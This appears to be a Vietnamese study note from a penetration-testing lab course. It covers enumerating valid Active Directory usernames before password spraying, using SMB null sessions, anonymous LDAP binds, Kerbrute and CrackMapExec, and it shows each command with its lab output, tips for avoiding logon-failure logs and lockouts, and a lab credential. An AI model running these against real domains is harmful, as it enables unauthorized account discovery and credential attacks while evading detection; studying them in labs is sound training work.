Password Spraying - Making a Target User List
Detailed User Enumeration
Trước khi spray password, ta cần tạo 1 list các username hợp lệ trước, có một số cách sau:
SMB NULL session để truy xuất list domain user từ domain controller.
LDAP anonymous bind
Kerbrute để check valid users từ một wordlist (statistically-likely-usernames) hoặc được thu thập từ linkedin2username.
Từ một credential được cung cấp hoặc có thể dùng LLMNR/NBT-NS response poisoning
Nếu attacker có một SMB NULL session, LDAP anonymous bind hoặc một credential hơn lệ, hoàn toàn thể enumerate được password policy. Biết được lockout threshold sẽ cho ta biết được nên thử bao nhiêu lần trong một khoảng thời gian là đủ và tránh bị khóa.
SMB NULL Session to Pull User List
Một số tools sử dụng SMB NULL Session như enum4linux, rpcclient và CrackMapExec.
enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"$> enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
administrator
guest
krbtgt
lab_adm
htb-student
avazquez
pfalcon
fanthony
wdillard
lbradford
sgage
asanchez
dbranch
ccruz
njohnson
mholliday
<SNIP>rpcclient -U "" -N 172.16.5.5$> rpcclient -U "" -N 172.16.5.5
rpcclient $> enumdomusers
user:[administrator] rid:[0x1f4]
user:[guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[lab_adm] rid:[0x3e9]
user:[htb-student] rid:[0x457]
user:[avazquez] rid:[0x458]
<SNIP>crackmapexec smb 172.16.5.5 --users$> crackmapexec smb 172.16.5.5 --users
SMB 172.16.5.5 445 ACADEMY-EA-DC01 [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB 172.16.5.5 445 ACADEMY-EA-DC01 [+] Enumerated domain user(s)
SMB 172.16.5.5 445 ACADEMY-EA-DC01 INLANEFREIGHT.LOCAL\administrator badpwdcount: 0 baddpwdtime: 2022-01-10 13:23:09.463228
SMB 172.16.5.5 445 ACADEMY-EA-DC01 INLANEFREIGHT.LOCAL\guest badpwdcount: 0 baddpwdtime: 1600-12-31 19:03:58
SMB 172.16.5.5 445 ACADEMY-EA-DC01 INLANEFREIGHT.LOCAL\lab_adm badpwdcount: 0 baddpwdtime: 2021-12-21 14:10:56.859064
SMB 172.16.5.5 445 ACADEMY-EA-DC01 INLANEFREIGHT.LOCAL\krbtgt badpwdcount: 0 baddpwdtime: 1600-12-31 19:03:58
SMB 172.16.5.5 445 ACADEMY-EA-DC01 INLANEFREIGHT.LOCAL\htb-student badpwdcount: 0 baddpwdtime: 2022-02-22 14:48:26.653366
SMB 172.16.5.5 445 ACADEMY-EA-DC01 INLANEFREIGHT.LOCAL\avazquez badpwdcount: 0 baddpwdtime: 2022-02-17 22:59:22.684613
<SNIP>LDAP Anonymous
Một số ví dụ cho windapsearch và ldapsearch, search theo filter:
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "$> ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
guest
ACADEMY-EA-DC01$
ACADEMY-EA-MS01$
ACADEMY-EA-WEB01$
htb-student
avazquez
pfalcon
fanthony
wdillard
lbradford
sgage
asanchez
dbranch
<SNIP>windapsearch.py --dc-ip 172.16.5.5 -u "" -U$> ./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 172.16.5.5
[+] Getting defaultNamingContext from Root DSE
[+] Found: DC=INLANEFREIGHT,DC=LOCAL
[+] Attempting bind
[+] ...success! Binded as:
[+] None
[+] Enumerating all AD users
[+] Found 2906 users:
cn: Guest
cn: Htb Student
userPrincipalName: [email protected]
cn: Annie Vazquez
userPrincipalName: [email protected]
cn: Paul Falcon
userPrincipalName: [email protected]
cn: Fae Anthony
userPrincipalName: [email protected]
cn: Walter Dillard
userPrincipalName: [email protected]
<SNIP>Enumerating Users with Kerbrute
Ta có thể sử dụng Kerbrute cho việc enumerate tài khoản AD hợp lệ và spray password.
Tool này sử dụng Kerberos Pre-Authentication, đây là cách nhanh hơn và stealth hơn cho việc spray password. Phương thức này không tạo ra Windows event ID 4625: An account failed to log on

Tool này sẽ gửi các TGT request tới domain controller mà không cần Kerberos Pre-Authentication, nếu KDC phản hồi với lỗi PRINCIPAL UNKNOWN thì có nghĩa username invalid. Còn khi nào KDC prompt lên cho Kerberos Pre-Authentication thì có nghĩa username này tồn tại và hợp lệ trong domain. Cách này sẽ không gây ra log đăng nhập và khóa account.
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt $> kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (9cfb81e) - 02/17/22 - Ronnie Flathers @ropnop
2022/02/17 22:16:11 > Using KDC(s):
2022/02/17 22:16:11 > 172.16.5.5:88
2022/02/17 22:16:11 > [+] VALID USERNAME: [email protected]
2022/02/17 22:16:11 > [+] VALID USERNAME: [email protected]
2022/02/17 22:16:11 > [+] VALID USERNAME: [email protected]
2022/02/17 22:16:11 > [+] VALID USERNAME: [email protected]
2022/02/17 22:16:11 > [+] VALID USERNAME: [email protected]
2022/02/17 22:16:11 > [+] VALID USERNAME: [email protected]
2022/02/17 22:16:11 > [+] VALID USERNAME: [email protected]
2022/02/17 22:16:11 > [+] VALID USERNAME: [email protected]
2022/02/17 22:16:11 > [+] VALID USERNAME: [email protected]
<SNIP>Credentialed Enumeration to Build our User List
Nếu đã có credential hợp lệ thì việc enumerate username thì dễ khi sử dụng CrackMapExec
sudo crackmapexec smb 172.16.5.5 -u <user> -p <password> --users$> sudo crackmapexec smb 172.16.5.5 -u htb-student -p Academy_student_AD! --users
[sudo] password for htb-student:
SMB 172.16.5.5 445 ACADEMY-EA-DC01 [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB 172.16.5.5 445 ACADEMY-EA-DC01 [+] INLANEFREIGHT.LOCAL\htb-student:Academy_student_AD!
SMB 172.16.5.5 445 ACADEMY-EA-DC01 [+] Enumerated domain user(s)
SMB 172.16.5.5 445 ACADEMY-EA-DC01 INLANEFREIGHT.LOCAL\administrator badpwdcount: 1 baddpwdtime: 2022-02-23 21:43:35.059620
SMB 172.16.5.5 445 ACADEMY-EA-DC01 INLANEFREIGHT.LOCAL\guest badpwdcount: 0 baddpwdtime: 1600-12-31 19:03:58
SMB 172.16.5.5 445 ACADEMY-EA-DC01 INLANEFREIGHT.LOCAL\lab_adm badpwdcount: 0 baddpwdtime: 2021-12-21 14:10:56.859064
SMB 172.16.5.5 445 ACADEMY-EA-DC01 INLANEFREIGHT.LOCAL\krbtgt badpwdcount: 0 baddpwdtime: 1600-12-31 19:03:58
SMB 172.16.5.5 445 ACADEMY-EA-DC01 INLANEFREIGHT.LOCAL\htb-student badpwdcount: 0 baddpwdtime: 2022-02-22 14:48:26.653366
SMB 172.16.5.5 445 ACADEMY-EA-DC01 INLANEFREIGHT.LOCAL\avazquez badpwdcount: 20 baddpwdtime: 2022-02-17 22:59:22.684613
SMB 172.16.5.5 445 ACADEMY-EA-DC01 INLANEFREIGHT.LOCAL\pfalcon badpwdcount: 0 baddpwdtime: 1600-12-31 19:03:58
<SNIP>Last updated